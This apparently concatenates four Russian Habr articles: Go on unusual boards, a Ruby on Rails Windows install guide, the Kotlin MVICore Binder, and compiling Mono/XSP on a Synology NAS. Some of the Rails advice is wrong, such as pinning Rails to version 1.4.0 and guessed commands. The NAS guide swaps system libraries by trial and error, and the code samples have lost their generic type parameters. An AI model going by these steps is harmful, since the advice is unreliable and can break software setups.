Когда речь заходит об игре на нестандартных досках, [увеличение размерности](http://senseis.xmp.net/?UnusualGobans#toc15) — первое, что приходит в голову. Трёх, четырёх и, тем более, пятимерные доски (вернее их проекции, как правило, на плоскость) производят сильное впечатление на окружающих и позволяют игрокам потешить собственное эго. К сожалению, полноценная игра в Го, на таких досках, сопряжена с рядом проблем. Не говоря о том, что ориентация на досках высокой размерности затруднена, столь радикальные изменения серьёзно ломают игровой баланс:
Эта [игра](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=431) не выглядит интересной. Я вижу тому две причины. Во первых, позиции, на такой доске, имеют (максимум) шесть, а не четырёх соседей. Вследствие этого, полностью окружить какую-то территорию (или группу камней) становится гораздо сложнее. Еще больше проблем возникает с «разрезанием». Для того чтобы разрезать прямую достаточно одной точки, но плоскость потребуется разрезать уже прямой! Всё это вместе делает выживание групп слишком простым, а захват территории (цель игры), напротив, излишне сложным.
Очевидно, что дальнейшее увеличение размерности в ещё большей степени усугубит описанные выше проблемы. Но что произойдёт, если уменьшить размерность? По правилам Го [можно](http://senseis.xmp.net/?LinearBoards) играть и на одномерной доске. У этого варианта свои проблемы. На одномерной доске невозможно построить группу с «глазом» (можно построить лишь две группы, разделяющие один «глаз»). Тем более невозможно построить два «глаза», обеспечив, тем самым, жизнь группе. Любая группа без двух «глаз» может быть окружена и захвачена.
Добиться окончательной победы, на такой доске, можно лишь одним способом. Необходимо заполнить своими группами всю доску таким образом, чтобы каждая группа была отделена от другой ровно одним пустым полем доски. Концевые поля доски также должны оставаться свободными. В этом случае, противник не сможет занять ни одно из пустых полей, так как подобный ход, не приводящий к захвату камней, будет считаться самоубийственным. Кстати говоря, этот предельный случай показывает, что, [в некоторых случаях](http://www.gameofgo.ru/14.htm), группы без двух истинных «глаз» могут оставаться живыми.
[A.K. Dewdney](https://en.wikipedia.org/?title=Alexander_Dewdney), в своём описании возможного существования двумерных существ "[The Planiverse](https://en.wikipedia.org/wiki/The_Planiverse)" довольно успешно решил описанную выше проблему. Главное отличие игры [Alak](http://senseis.xmp.net/?Alak) заключается в том, что закрывая последнюю «точку дыхания», игрок не убивает свою группу. Такой ход не является самоубийственным и позволяет начать окружение близлежащей группы противника. Полученная [игра](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=15) весьма интересна не только в теоретическом, но и в практическом отношении. В неё уже можно играть:
Подобные правила делают Alak более похожим на «Зажимные» игры, такие как [Seega](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B4%D0%B6%D0%B0) и [Hasami Shogi](https://en.wikipedia.org/wiki/Hasami_shogi). В этих играх, фигуры противника «берутся» путём окружения их с двух противоположных сторон, но встав между фигурами противника своим ходом, фигура оказывается в безопасности. Сходство становится ещё более [очевидным](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1894), если разрешить двигать фигуры:
Естественным продолжением является игра на [2xN досках](http://senseis.xmp.net/?NarrowBoards). Это, в принципе, уже двухмерность, но всё ещё крайне нестандартной формы. Здесь уже возможны живые группы с двумя «глазами», но поскольку обе линии, в терминологии Го, являются «линиями смерти», играть на такой доске всё ещё тяжело. Такие варианты полезны, прежде всего тем, что позволяют лучше понять классическое Го. Граница доски очень важна! Если её [убрать](http://senseis.xmp.net/?BorderlessGoban) игра изменится радикально. В каком-то смысле, она (по необходимости) превратится в "[Космическое Го](http://gostart.ru/016.html)" с игрой за влияние, а не за территорию.
Добавление на доску новых границ — ещё интереснее. Подобная [доска](http://senseis.xmp.net/?Virtueless) «с дырками» весьма разнообразит тактическую составляющую игры. Можно изменить сам характер границ, [сделав их «дружественными»](http://senseis.xmp.net/?InfluenceGo) для игроков. Использование начальной расстановки (вместо начала игры на пустой доске) также несёт в себе много интересных [возможностей](http://senseis.xmp.net/?DotsGo). В частности, начальная расстановка использовалась в "[Тибетском Го](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%B1%D0%B5%D1%82%D1%81%D0%BA%D0%BE%D0%B5_%D0%B3%D0%BE)", вводившем, кроме того, дополнительные правила, ограничивающие возможность хода в удалении от своих фигур и начислявшие дополнительные очки за определённые пункты доски.
Даже простое [изменение размеров](http://senseis.xmp.net/?13X9Game01) доски может внести в игру как тактическое, так и стратегическое разнообразие. Особенно интересны, в этом плане, доски с [чётным](http://senseis.xmp.net/?EvenSizedBoards) количеством линий. Но игра Го не ограничивается лишь прямоугольными досками! Гексагональные [доски](http://xahlee.info/math/go_board_variations.html) также не лишены своей притягательности. Проблемы с ними похожи на те, что возникали при использовании многомерных досок. На тригональной доске соседей слишком мало, на гексагональной — уже много. Кроме того, диагональ на гексагональной доске (в отличии от обычной) не в состоянии ничего разрезать!
Подобные недостатки баланса можно пытаться исправить изменением правил игры. Так, например, в "[TriGo](http://www.iggamecenter.com/info/ru/trigo.html)" изменён порядок ходов. Первый игрок ходит одним камнем, далее, за каждый ход, выкладывается по два камня. Помимо всего прочего, такая система ходов также несколько ослабляет преимущество первого игрока, из за которого в классическом Го пришлось ввести систему [Коми](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%B8_(%D0%B3%D0%BE)). В этой [статье](http://www.genetic-programming.org/hc2012/Browne-Paper-2.pdf), гексагональная доска предлагается как средство борьбы с [Ко](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BA%D0%BE), но проблема явно не стоит тех жертв, что несёт с собой её «решение». К тому же, **Ко** всё равно может возникать в более сложных случаях, например, при игре более чем двух игроков:
Чёрный и серый могут продолжать по очереди играть в одни и те же позиции до бесконечности. Гексагональными досками, разумеется, дело тоже не ограничивается. Для игры могут использоваться и более [причудливые](http://senseis.xmp.net/?Medusa) [сетки](http://senseis.xmp.net/?Lotus). Довольно интересна трёхмерная доска, повторяющая схему соединения атомов в кристаллической решётке алмаза. На этой доске, также как и на классической, каждое поле имеет от двух до четырёх соседей (на фотографии ниже показана минимальная конфигурация с двумя «глазами»):
Играть на такой доске «вживую» может быть не очень удобно. К счастью, существует замечательная бесплатная [программа](http://www.leweyg.com/lc/freedgo.html), позволяющая играть (в том числе и по сети) практически на любых досках:
Её интерфейс может показаться неудобным (после [CGoban](http://geektimes.ru/post/240324/), например), но всё необходимое (включая ручное удаление «мёртвых» камней и подсчёт очков) в ней имеется. Кроме того, достаточно легко можно создать [свою доску](http://www.leweyg.com/lc/hdodec.off.go.txt):
**Так выглядит описание додекаэдра**
```
20 0.369927
3 8 13 18
0.598555 0.100627 -0.840481
3 13 2 7
-0.598555 0.100628 -0.840481
3 1 17 15
-0.968482 -0.228628 -0.290819
3 9 18 19
0.968482 0.228625 0.290819
3 19 16 6
0 0.307733 0.99
3 7 6 17
-0.598553 0.840481 0.100626
3 4 9 5
0 0.889374 0.532739
3 1 8 5
-0.369927 0.761373 -0.598554
3 9 0 7
0.369927 0.761373 -0.598553
3 6 3 8
0.598551 0.840481 0.100626
3 11 18 14
0.598556 -0.840481 -0.100628
3 12 19 10
0.369927 -0.761375 0.598554
3 15 11 16
-0.369926 -0.761375 0.598553
3 14 1 0
0 -0.307734 -0.99
3 15 10 13
0 -0.889374 -0.532748
3 2 14 12
-0.598555 -0.840482 -0.100627
3 12 17 4
-0.598554 -0.100628 0.840481
3 5 2 16
-0.968482 0.228627 0.290817
3 0 3 10
0.968482 -0.228627 -0.29082
3 3 4 11
0.598554 -0.100627 0.840481
```
Но на этом «неведомые земли» не заканчиваются. Можно отказаться от самой дискретности доски и играть на «доске без линий». В этом варианте игры, фигуры можно размещать в любом месте плоскости, а «соседство» фигур можно определять, [например](http://senseis.xmp.net/?EuclideanGo), через [евклидово расстояние](https://ru.wikipedia.org/wiki/%D0%95%D0%B2%D0%BA%D0%BB%D0%B8%D0%B4%D0%BE%D0%B2%D0%B0_%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D0%BA%D0%B0). Эта игра действительно требует аккуратности. Едва заметное перемещение фигуры со своего места может кардинально изменить характер позиции.
Так выглядит живая форма. Пустоты в ней — два «глаза» в которые можно «втиснуть» фигуры своего цвета (противник этого сделать не может, поскольку такие ходы будут считаться самоубийственными). Очевидно, что эта игра «на любителя» и это, пожалуй, самый странный вариант игры Го из известных мне. Есть еще одна игра, «расширяющая» правила Го, которая нравится мне больше чем все вышеперечисленные, но это тема для отдельной статьи. | https://habr.com/ru/post/365671/ | null | ru | null |
# Проблема установки Ruby on Rails в конце 2019 года
Всем привет любители программировать и улучшать мир к лучшему.
В данном посте я расскажу как мучился с установкой Ruby on Rails, сразу скажу, до этого я никогда не сталкивался с данным решением и задание мне дал потенциальный работодатель, написать определенное решение на данном фрэймворке.
Ушло у меня на это почти четыре дня, и честно сказать, я даже не представлял куда рыть в какую сторону и что делать, по причине не знания вообще ничего об этом решении. Поиски в интернете по переустановки компонентов программы и языка, ничего не дали, так же как и поиски на разных форумах и на видео площадках. И самой большой проблемой было то, что эти видео и решения были уже либо прошлогодними, либо с устаревшими версиями, и повторение прошлых шагов не давало результата.
Потратив на это большое количество времени, я надеюсь что эти шаги дадут возможность нуждающимся в ответе и решении своих проблем в установке, какую то помощь и сократят то драгоценное время которого у нас всегда не хватает.
И так, приступим.
Установка велась на ОС Windows 10 Home.
**1.** Скачать с сайта: [rubyinstaller.org](https://rubyinstaller.org/) в разделе downloads версию Ruby — Ruby+Devkit 2.6.5-1 (x64) — возможно у Вас будет уже более новая, и так же следите за разрядностью операционки, у кого стоит х32 vs х86, выбирайте соответствующую
**2.** Скачать с сайта: [www.sqlite.org](https://www.sqlite.org) в разделе downloads два файла из подраздела **Precompiled Binaries for Windows** один: sqlite-dll-win32-x86-3300000.zip, второй: sqlite-dll-win64-x64-3300000.zip
со скачиванием закончили, приступим к пошаговой установке
**3.** Для начала распакуем в одну папку файлы из архивов скачанных с сайта [www.sqlite.org](https://www.sqlite.org) и скопируем данную папку по адресу установки вашей операционной системы у меня это C:\sqlite папку можно назвать 'sqlite'. В этой папке должны находиться только файлы из двух архивов, если в архивах есть папки то нужно достать из них файлы и перенести в указанную папку C:\sqlite
**4.** Нужно дать доступ к sqlite из любых директорий вашего компьютера, для этого: кликаем правой кнопкой мыши на «Мой компьютер» и выбираем в выпавшем меню «Свойства», откроется окно с данными вашей системы, нажимаем на:
далее в появившемся окне жмем
далее
далее в нижней части окна выбираем Path и жмем «Редактировать» или «Edit»
далее в появившемся окне жмем «Новый» или «New» и в новой строке прописываем пусть к файлам sqlite у меня это C:\sqlite и нажимаем везде «OK» тем самым принимая изменения
все, с пунктом №4 мы закончили
установку sqlite можно проверить введя в cmd команду sqlite3 и нажать клавишу «Enter», если выведется версия программы, все нормально, установка успешна и можно продолжать шагать дальше
**важное замечание: библиотека 'rails' на момент установки была последней версии 6.0.0 и ставилась она по команде только последняя, когда я пытался поставить версию 'ruby' более раннюю, возникала ошибка в некоторых библиотеках с 'rails' и были проблемы, следите за тем, чтобы версии rails и ruby были максимально одного времени релиза**
**5.** Нужно установить Ruby на компьютер, для этого просто запускаем установочный файл скачанный нами ранее и ставим его так же на дист с операционкой, папку я называл по проще «Ruby», дожидаемся установки, в конце на последнем шаге, нужно установить галочку для запуска установки дополнительной библиотеки, если стоит то ничего не нужно и нажимаем «OK».
Откроется окно похожее на окно cmd windows и в этом окне нужно будет по инструкции ввести цифру «1» и нажать «Enter», дождемся установки и продолжим.
Проверить установку, можно введя в cmd команду «ruby -v», так же если выведется версия ruby, то все прошло успешно.
**6.** Дальше нам, нужно установить сам фрэймворк «Rails» для этого в cmd введем следующую команду «gem install rails», ждем завершения установки, проверить можно также введя в cmd команду «rails -v», если выдаст версию, все хорошо и можно двигаться дальше.
**Начинается самое интересное.**
**7.** Далее нам нужно создать проект в чем и будет большинство проблем. Создаем на компьютере папку в любом месте, я создавал так же на том же диске с Windows, и переходим в cmd в данную папку. Когда перешли, набираем команду создания проекта 'rails new app' где 'app' — название приложение можно выбирать любое разумное и нажимаем 'Enter' запуститься установка и скорее всего где то будет ошибка
ошибка 1: не может найти или определить sqlite3 версии 1.4.1 или 1.4.0
открываем папку с уже установленным приложением через программу Sublime Text и открываем файл 'Gemfile' он будет виден на первом уровне в низу
меняем значения данных:
```
gem 'sqlite3', '~> 2.5'
gem 'rails', '~> 6.0.0'
```
на более низкие версии, или те версии которые прописаны в ошибках cmd при создании проекта
например:
```
gem 'sqlite3', '~> 1.4'
gem 'rails', '~> 1.4.0'
```
и пробуем установить заново sqlite командой введя ее в cmd 'gem install sqlite' если эта команда не подходит, попробуйте rails install sqlite или gem sqlite install, в любом случае ошибки в приложении не будет, только лишь в окне программы cmd — это не страшно
**8.** Далее нам нужно будет заново запустить установщик который называется 'bundle' он запускался в процессе создания приложения и отвечает за все компоненты rails. Запускается он командой 'bundle install' и тут возникнет ошибка, ориентировочно в середине процесса, где будет сказано что не найден файл 'webpack' и для его установки нужно сначала скачать с ресурса [yarnpkg.com/lang/en/docs/install](https://yarnpkg.com/lang/en/docs/install) файл 'yarn' и установить его на компьютер.
Так и делаем.
**9.** Качаем файл 'yarn' с [yarnpkg.com/lang/en/docs/install](https://yarnpkg.com/lang/en/docs/install) под windows и двойным щелчком на файле, инсталируем его в папку с вашим проектом по пути 'Название вашего проектк(папка)\yarn(папка)'
**10.** Далее как и было ранее сказано в cmd воодим команду 'rails webpack:install' и ждем установки, она будет не быстрой.
**11.** По окончании установки, вводим команду 'rails s' тем самым запуская сервер, находим там же в cmd строку '\* Listening on tcp://localhost:3000' из которой копируем 'localhost:3000' вставляем в браузер и наслаждаемся высокими технологиями.
В начале, три дня назад я доходил только до шага создания приложения где проблемная база данных sqlite не хотела работать и запускаться.
Если после проделанных шагов, у вас все равно не запускается сервер и есть проблемы, смотрите внимательно в файл проекта 'Gemfile' в нем инструкция что и какой версии нужно устанавливать, меняйте номер версии и запускайте установщик заново 'bundle install' или 'bundle update'.
Это всё.
Всех интересных проектов, неординарных идей и хорошего настроения. | https://habr.com/ru/post/471160/ | null | ru | null |
# Строим систему реактивных компонентов с помощью Kotlin
Всем привет! Меня зовут Анатолий Варивончик, я Android-разработчик Badoo. Сегодня я поделюсь с вами переводом второй части статьи моего коллеги Zsolt Kocsi о реализации MVI, которую мы ежедневно используем в процессе разработки. Первая часть [здесь](https://habr.com/company/badoo/blog/429728/).
Чего мы хотим и как мы это сделаем
----------------------------------
В первой части статьи мы познакомились с **Features**, центральными элементами [MVICore](https://github.com/badoo/MVICore), которые можно переиспользовать. Они могут обладать максимально простой структурой и включать всего один **Reducer**, а могут стать полнофункциональным средством для управления асинхронными задачами, событиями и многим другим.
Каждая Feature отслеживаема — есть возможность подписаться на изменения её состояния и получать уведомления об этом. При этом Feature можно подписать на источник ввода. И в этом есть смысл, ведь с включением Rx в кодовую базу у нас и так появилось множество наблюдаемых объектов и подписок на самых разных уровнях.
Именно в связи с увеличением количества реактивных компонентов пришло время поразмышлять о том, что мы имеем и можно ли сделать систему ещё лучше.
Нам предстоит ответить на три вопроса:
1. Какие элементы следует использовать при добавлении новых реактивных компонентов?
2. Какой способ управления подписками самый простой?
3. Можно ли абстрагироваться от управления жизненным циклом / необходимости очищать подписки, чтобы избежать утечек памяти? Иными словами, можем ли мы отделить связывание компонентов от управления подписками?
В этой части статьи мы рассмотрим основы и преимущества построения системы при помощи реактивных компонентов и увидим, как Kotlin помогает в этом.
Основные элементы
-----------------
К тому моменту, когда мы подошли к работе над дизайном и стандартизацией наших **Features**, мы уже перепробовали множество различных подходов и решили, что **Features** будут выполнены в форме реактивных компонентов. Сначала мы сосредоточились на главных интерфейсах. Прежде всего нам нужно было определиться с типами входных и выходных данных.
Мы рассуждали следующим образом:
* Не будем изобретать велосипед — посмотрим, какие интерфейсы уже существуют.
* Так как мы уже используем библиотеку RxJava, есть смысл обратиться к её базовым интерфейсам.
* Количество интерфейсов должно быть сведено к минимуму.
В результате мы решили использовать **ObservableSource<Т>** для вывода и **Consumer<Т>** для ввода. Почему не **Observable/Observer**, спросите вы. **Observable** — абстрактный класс, от которого вам нужно отнаследоваться, а **ObservableSource** — реализуемый вами интерфейс, полностью удовлетворяющий потребность в реализации реактивного протокола.
```
package io.reactivex;
import io.reactivex.annotations.*;
/**
* Represents a basic, non-backpressured {@link Observable} source base interface,
* consumable via an {@link Observer}.
*
* @param the element type
\* @since 2.0
\*/
public interface ObservableSource {
/\*\*
\* Subscribes the given Observer to this ObservableSource instance.
\* @param observer the Observer, not null
\* @throws NullPointerException if {@code observer} is null
\*/
void subscribe(@NonNull Observer super T observer);
}
```
**Observer**, первый приходящий на ум интерфейс, реализует четыре метода: onSubscribe, onNext, onError и onComplete. Стремясь максимально упростить протокол, мы предпочли ему **Consumer<Т>**, который принимает новые элементы с помощью одного-единственного метода. Если бы мы выбрали **Observer**, то оставшиеся методы чаще всего были бы избыточными либо работали бы иначе (например, нам хотелось представить ошибки как часть состояния (**State**), а не как исключения, и уж точно не прерывать поток).
```
/**
* A functional interface (callback) that accepts a single value.
* @param the value type
\*/
public interface Consumer {
/\*\*
\* Consume the given value.
\* @param t the value
\* @throws Exception on error
\*/
void accept(T t) throws Exception;
}
```
Итак, у нас есть два интерфейса, каждый из которых содержит по одному методу. Теперь мы можем связать их, подписав **Consumer<Т>** на **ObservableSource<Т>**. Последний принимает только экземпляры **Observer<Т>**, но мы можем обернуть его в **Observable<Т>**, который подписан на **Consumer<Т>**:
```
val output: ObservableSource = Observable.just("item1", "item2", "item3")
val input: Consumer = Consumer { System.out.println(it) }
val disposable = Observable.wrap(output).subscribe(input)
```
(К счастью, функция *.wrap(output)* не создаёт новый объект если *output* уже является **Observable<Т>** ).
Возможно, вы помните, что компонент **Feature** из первой части статьи использовал входные данные типа **Wish** (соответствует Intent из Model-View-Intent) и выходные данные типа **State**, а потому может находиться с обеих сторон связки:
```
// Wishes -> Feature
val wishes: ObservableSource = Observable.just(Wish.SomeWish)
val feature: Consumer = SomeFeature()
val disposable = Observable.wrap(wishes).subscribe(feature)
// Feature -> State consumer
val feature: ObservableSource = SomeFeature()
val logger: Consumer = Consumer { System.out.println(it) }
val disposable = Observable.wrap(feature).subscribe(logger)
```
Такое связывание *Consumer* и *Producer* уже выглядит достаточно просто, но существует ещё более лёгкий способ, при котором не нужно ни создавать подписки вручную, ни отменять их.
Представляем **Binder**.
Связывание «на стероидах»
-------------------------
[MVICore](https://github.com/badoo/MVICore) содержит класс под названием **Binder**, который предоставляет простой API для управления Rx-подписками и обладает целым рядом крутых возможностей.
Зачем он нужен?
* Создание связывания путём подписки входных данных на выходные.
* Возможность отписки по завершении жизненного цикла (когда он является абстрактным понятием и не имеет никакого отношения к Android).
* Бонус: **Binder** позволяет добавлять промежуточные объекты, например, для ведения лога или time-travel-отладки.
Вместо того чтобы подписываться вручную, можно переписать приведённые выше примеры следующим образом:
```
val binder = Binder()
binder.bind(wishes to feature)
binder.bind(feature to logger)
```
Благодаря Kotlin всё выглядит очень просто.
Эти примеры работают, если тип входных и выходных данных совпадает. Но что, если это не так? Реализовав функцию расширения, мы можем сделать трансформацию автоматической:
```
val output: ObservableSource= TODO()
val input: Consumer **= TODO()
val transformer: (A) -> B = TODO()
binder.bind(output to input using transformer)**
```
Обратите внимание на синтаксис: читается почти как обычное предложение (и это ещё одна причина, почему я люблю Kotlin). Но **Binder** используется не только как синтаксический сахар — он также пригодится нам для решения проблем с жизненным циклом.
Создание Binder
---------------
Создание экземпляра выглядит проще некуда:
```
val binder = Binder()
```
Но в этом случае нужно отписываться вручную, и вам придётся вызывать `binder.dispose()` всякий раз, когда будет необходимо удалить подписки. Есть и другой способ: ввести экземпляр жизненного цикла в конструктор. Вот так:
```
val binder = Binder(lifecycle)
```
Теперь вам не нужно волноваться о подписках — они будут удаляться в конце жизненного цикла. При этом жизненный цикл может повторяться многократно (как, например, цикл запуска и остановки в Android UI) — и **Binder** будет каждый раз создавать и удалять подписки за вас.
А что вообще такое жизненный цикл?
----------------------------------
Большинство Android-разработчиков, видя словосочетание «жизненный цикл», представляют цикл Activity и Fragment. Да, **Binder** может работать и с ними, отписываясь по завершении цикла.
Но это только начало, ведь вы никак не задействуете андроидовский интерфейс **LifecycleOwner** — у **Binder** есть свой, более универсальный. Он, по сути, представляет собой поток сигналов BEGIN/END:
```
interface Lifecycle : ObservableSource {
enum class Event {
BEGIN,
END
}
// Remainder omitted
}
```
Вы можете либо реализовать этот поток при помощи Observable (путём маппинга), либо просто использовать класс **ManualLifecycle** из библиотеки для не Rx-сред (как именно, увидите чуть ниже).
Как при этом действует **Binder**? Получая сигнал BEGIN, он создаёт подписки для ранее сконфигурированных вами компонентов (*input/output*), а получая сигнал END, удаляет их. Самое интересное — что можно всё начинать заново:
```
val output: PublishSubject = PublishSubject.create()
val input: Consumer = Consumer { System.out.println(it) }
val lifecycle = ManualLifecycle()
val binder = Binder(lifecycle)
binder.bind(output to input)
output.onNext("1")
lifecycle.begin()
output.onNext("2")
output.onNext("3")
lifecycle.end()
output.onNext("4")
lifecycle.begin()
output.onNext("5")
output.onNext("6")
lifecycle.end()
output.onNext("7")
// will print:
// 2
// 3
// 5
// 6
```
Эта гибкость в переназначении подписок особенно полезна при работе с Android, когда может быть сразу несколько циклов Start-Stop и Resume-Pause, помимо обычного Create-Destroy.
Жизненные циклы Android Binder
------------------------------
В библиотеке представлены три класса:
* **CreateDestroyBinderLifecycle**(*androidLifecycle*)
* **StartStopBinderLifecycle**(*androidLifecycle*)
* **ResumePauseBinderLifecycl**e(*androidLifecycle*)
`androidLifecycle` — это возвращаемое методом `getLifecycle()` значение, то есть **AppCompatActivity**, **AppCompatDialogFragment** и т. д. Всё очень просто:
```
fun createBinderForActivity(activity: AppCompatActivity) = Binder(
CreateDestroyBinderLifecycle(activity.lifecycle)
)
```
Индивидуальные жизненные циклы
------------------------------
Давайте не будем на этом останавливаться, ведь мы никак не привязаны к Android. Что такое жизненный цикл **Binder**? Буквально что угодно: например, время воспроизведения диалога или время выполнения какой-нибудь асинхронной задачи. Можно, скажем, привязать его к области видимости DI — и тогда любая подписка будет удаляться вместе с ней. Полная свобода действий.
1. Хотите, чтобы подписки сохранялись до того, как **Observable** отправит элемент? Преобразуйте этот объект в **Lifecycle** и передайте его **Binder**. Реализуйте следующий код в *extension-*функции и используйте его в дальнейшем:
```
fun Observable.toBinderLifecycle() = Lifecycle.wrap(this
.first()
.map { END }
.startWith(BEGIN)
)
```
2. Хотите, чтобы привязки сохранялись до окончания работы **Completable**? Никаких проблем — это делается по аналогии с предыдущим пунктом:
```
fun Completable.toBinderLifecycle() = Lifecycle.wrap(
Observable.concat(
Observable.just(BEGIN),
this.andThen(Observable.just(END))
)
)
```
3. Хотите, чтобы какой-нибудь другой не Rx-код решал, когда удалять подписки? Используйте **ManualLifecycle** как описано выше.
В любом случае вы можете либо проложить реактивный поток к потоку элементов **Lifecycle.Event**, либо использовать **ManualLifecycle**, если вы работаете с не Rx-кодом.
Общий обзор системы
-------------------
**Binder** прячет подробности создания и управления Rx-подписками. Остаётся только сжатый, обобщённый обзор: «Компонент A взаимодействует с компонентом B в области видимости C».
Предположим, что для текущего экрана у нас есть следующие реактивные компоненты:
Мы хотели бы, чтобы компоненты были связаны в пределах текущего экрана, и знаем, что:
* UIEvent можно «скормить» напрямую **AnalyticsTracker**;
* UIEvent можно трансформировать в **Wish** для **Feature**;
* **State** можно трансформировать во **ViewModel** для **View**.
Это можно выразить в паре строк:
```
with(binder) {
bind(feature to view using stateToViewModelTransformer)
bind(view to feature using uiEventToWishTransformer)
bind(view to analyticsTracker)
}
```
Мы делаем такие выжимки для наглядной демонстрации взаимосвязи компонентов. И поскольку мы, разработчики, проводим больше времени за чтением кода, чем за его написанием, подобный краткий обзор крайне полезен, особенно по мере увеличения числа компонентов.
Заключение
----------
Мы увидели, как **Binder** помогает в управлении Rx-подписками и как он помогает получить обзор системы, построенной из реактивных компонентов.
В следующих статьях мы расскажем, как мы отделяем реактивные UI-компоненты от бизнес-логики и как с помощью **Binder** добавлять промежуточные объекты (для ведения лога и time travel debugging). Не переключайтесь!
А пока познакомьтесь с библиотекой на [GitHub](https://github.com/badoo/MVICore). | https://habr.com/ru/post/430550/ | null | ru | null |
# ASP.NET MVC 3 сервер на NAS Synology — solution
Имея в хозяйстве замечательный накопитель от компании Synology, я довольно долгое время грустил по поводу того, что в нём отсутствует хостинг .NET приложений. И вот, вооружившись мат. частью приведённой в статье [habrahabr.ru/post/121159](http://habrahabr.ru/post/121159/) я озадачился созданием домашнего сервера для проектов на ASP.NET MVC. Пакет mono там довольно старый, а классическая последовательность команд для сборки оного не привела к успеху. Информация собиралась из различных источников, в том числе и с хабра, по крупицам давая понимание, что и в какой последовательности необходимо делать. Прохождение этого квеста я как раз и хочу описать в этой статье. Надеюсь кому-то пригодится.
Итого, дано:
1. Железо: NAS Synology 110j с процессором Marvell mv5281 на борту.
2. ОС DSM 4.0 (на базе малораспространённого дистрибутива Linux)
Необходимо: Установить последнюю версию mono + xsp.
Подготовка
==========
Компания Synology не озадачилась предоставить возможности для установки дополнительных пакетов традиционным для \*nix систем способом, т.е. через консоль. Поэтому для начала необходимо ознакомится с топиком по адресу [www.synology-forum.ru/index.php?showtopic=38](http://www.synology-forum.ru/index.php?showtopic=38), и выполнить необходимые телодвижения. Конечным результатом будет установка и запуск консольного менеджера пакетов ipkg. Я не могу в этой статье привести краткий конспект, поскольку накопители Synology выпускаются на различных процессорах и рецепт для каждой архитектуры будет свой.
Сборка и установка MONO
=======================
После того как заработал менеджер пакетов ipkg, получаем и распаковываем последние исходники mono (на тот момент это был 2.10.9). По ходу повествования, если необходимо, доустанавливайте необходимые пакеты с помощью ipkg самостоятельно, поскольку в силу специфики «железки» я не могу полностью виртуализировать среду для чистого эксперимента, а многие пакеты у меня были поставлены по ходу «плясок с бубном» и я уже подзабыл что необходимо устанавливать дополнительно.
```
wget http://download.mono-project.com/sources/mono/mono-2.10.9.tar.bz2
tar -xvf mono-2.10.9.tar.bz2
```
Процесс сборки mono:
```
cd mono-2.10.9
./configure --prefix=/usr --sysconfdir=/etc/mono
```
должно проходить нормально, если что не так смотрим в config.log. Вероятнее всего необходимо будет доставить некоторые пакеты.
Напоминаю, что просто команда make у меня не справилась с компиляцией. Необходимо добавить флаги '-Wl,-lpthread,-lrt'. Но этого оказалось мало. При линковке с библиотекой pthread в последней отсутствовали некоторые функции. Возможно, что это связано с архитектурой и на Intel`ах будет всё OK. Тем не менее, на моём ARM непосредственно перед компиляцией, мне дополнительно пришлось выполнить следующие заклинания:
```
mkdir /opt/arm-none-linux-gnueabi/lib_disabled
mv /opt/arm-none-linux-gnueabi/lib/libpthread* /opt/arm-none-linux-gnueabi/lib_disabled
cp /lib/libpthread.so.0 /opt/arm-none-linux-gnueabi/lib/
cd /opt/arm-none-linux-gnueabi/lib/
ln -s libpthread.so.0 libpthread.so
ln -s libpthread.so.0 libpthread-2.5.so
```
В /opt/etc/ipkg/cross-feed.conf изменить на
src/gz cross [ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/stable](http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/stable)
```
ipkg remove perl
ipkg install perl
```
Магия с libpthread была выяснена гуглением и как ясно из команд мы подменяем библиотеку. Мне не ведомо, почему так случилось, но это факт. А вот переустановка perl – это вообще нечто. У меня изначально пакеты ставились из «нестабильной» ветки (unstable). Возможно, что в вашем случае всё будет нормально.
Итак, запасаемся попкорном и компилируем… процесс не быстрый и местами даже интересный.
```
make CFLAGS+='-Wl,-lpthread,-lrt'
```
Итак, если компиляция mono закончилось успешно, устанавливаем его командой
```
make install
```
и проверим
```
mono --version
```
должна выдать что-то вроде
```
Mono JIT compiler version 2.10.9 (tarball Sun Apr 15 18:40:39 MSK 2012)
Copyright (C) 2002-2011 Novell, Inc, Xamarin, Inc and Contributors. www.mono-project.com
TLS: __thread
SIGSEGV: normal
Notifications: epoll
Architecture: armel,soft-float
Disabled: none
Misc: softdebug
LLVM: supported, not enabled.
GC: Included Boehm (with typed GC and Parallel Mark)
```
Сборка и проверка XSP
=====================
Среда установлена, теперь необходимо установить XSP – сервер ASP.NET приложений для mono. Я понимаю, что «сервер ASP.NET» для XSP — это звучит слишком сильно, но и не забываем, на чём он будет эксплуатироваться.
Здесь всё банально…
```
wget http://download.mono-project.com/sources/xsp/xsp-2.10.tar.bz2
tar -xvf xsp-2.10.tar.bz2
cd xsp-2.10
./configure
make install
```
после установки проверим:
```
cd /src/Mono.WebServer.XSP
mono xsp4.exe --applications /:./../../test
```
должна выдать
```
xsp4
Listening on address: 0.0.0.0
Root directory: /xsp-2.10/src/Mono.WebServer.XSP
Listening on port: 8080 (non-secure)
Hit Return to stop the server.
```
Запускаем броузер, набираем адрес NAS и порт 8080. Наш сервер должен выдать тестовую страницу
Готовим подопытное ASP.NET MVC приложение
=========================================
1. Создаём проект ASP.NET MVC 3 Web Application
2. Я выбирал Internet Application
3. В исходный текст внесём небольшое исправление
4. Я настроил публикацию через файловую систему (выберите по вкусу то, что настроено на вашем NAS, например FTP)
5. Запускаем XSP на папку в которую будем деплоить наше приложение
```
mono xsp4.exe --applications /:./volume1/web/TestMvcOnSynology
```
6. Далее необходимо включить в проект сборки MVC, чтобы они деплоились вместе с нашим приложением, поскольку в MONO они отсутствуют. Для этого в свойствах подключенных сборок устанавливаем свойство «Копировать локально» в True. Список сборок: System.Web.Helpers, System.Web.Mvc, System.Web.WebPages, добавляем сборки System.Web.Razor, System.Web.WebPages.Razor, System.Web.WebPages.Deployment и также устанавливаем свойство «копировать локально» в true.
7. Так же, в целях ознакомления, я «вырезаю» из приложения авторизацию и все упоминания об EntityFramework (это тема отдельной статьи).
